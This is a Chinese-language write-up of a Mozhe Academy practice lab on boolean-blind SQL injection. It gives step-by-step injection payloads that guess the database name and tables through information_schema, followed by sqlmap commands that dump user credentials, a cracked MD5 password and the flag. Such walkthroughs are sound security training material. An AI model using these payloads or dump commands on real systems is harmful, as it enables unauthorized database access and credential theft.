sql注入-墨者学院SQL注入漏洞测试(布尔盲注)

Iwakura-Lain / 2023-05-25 / 原文

fig:

1.发现注入点

fig:

fig:

fig:

报错,存在数字型注入

开注

2.order by查询列数

4时正常,5时报错,判断列数为4列

fig:

fig:

3.联合查询判断占位

正确的列数下却没有任何回显,只能显示报错,由此验证是布尔盲注

fig:

fig:

4.盲注测试数据库的长度

盲注的要点是,利用函数,根据页面是否正确回显,从而判断输入的参数是否正确

构造语句and if(length(database())=10,1,0),得到正常的回显,则数据库长度为10

length():常用于计算字符串长度
而if则判断database()长度是否等于10,是返回1,不是返回0

fig:

长度错误时报错

fig:

进一步猜测数据库的名称

构造语句and if(substr(database(),1,1)='s',1,0),猜测数据库的第一个字符

substr(str, pos, len):str为字符串,pos为起始位置,len为截取字符个数
即为截取数据库的第一个字符,判断是否为s,是返回1,不是返回0

得到正确回显

fig:

猜测第二个字符,得到r

fig:

以此类推……最终得到数据库的名称为stormgroup

fig:

5.盲注猜测表的名称

构造语句and if(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1)='m',1,0)

判断出第一张表的第一个字符是m

select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1即正常获取第一张表

fig:

受不了了用sqlmap去了。。

python sqlmap.py -u "http://124.70.71.251:49541/new_list.php?id=1" -D stormgroup --tables -batch

得到两张表

fig:

6.获取数据

获取到字段name,password,status

python sqlmap.py -u "http://124.70.71.251:49541/new_list.php?id=1" -D stormgroup --tables menber --colums -batch

fig:

获取数据

python sqlmap.py -u "http://124.70.71.251:49541/new_list.php?id=1" -D stormgroup --tables menber -C name,password,status -dump

fig:

得到mozhe和md5的密码1a359afc72dd46ef7e0d73e49b8e3ff9

解密后为931928

fig:

得到flag为mozhecb6d7d52f456c89718994d33dce

fig:

另外,如果sqlmap跑不出数据,或者只能跑出一部分数据的话,可以使用--purge参数清理一下缓存,再重新打开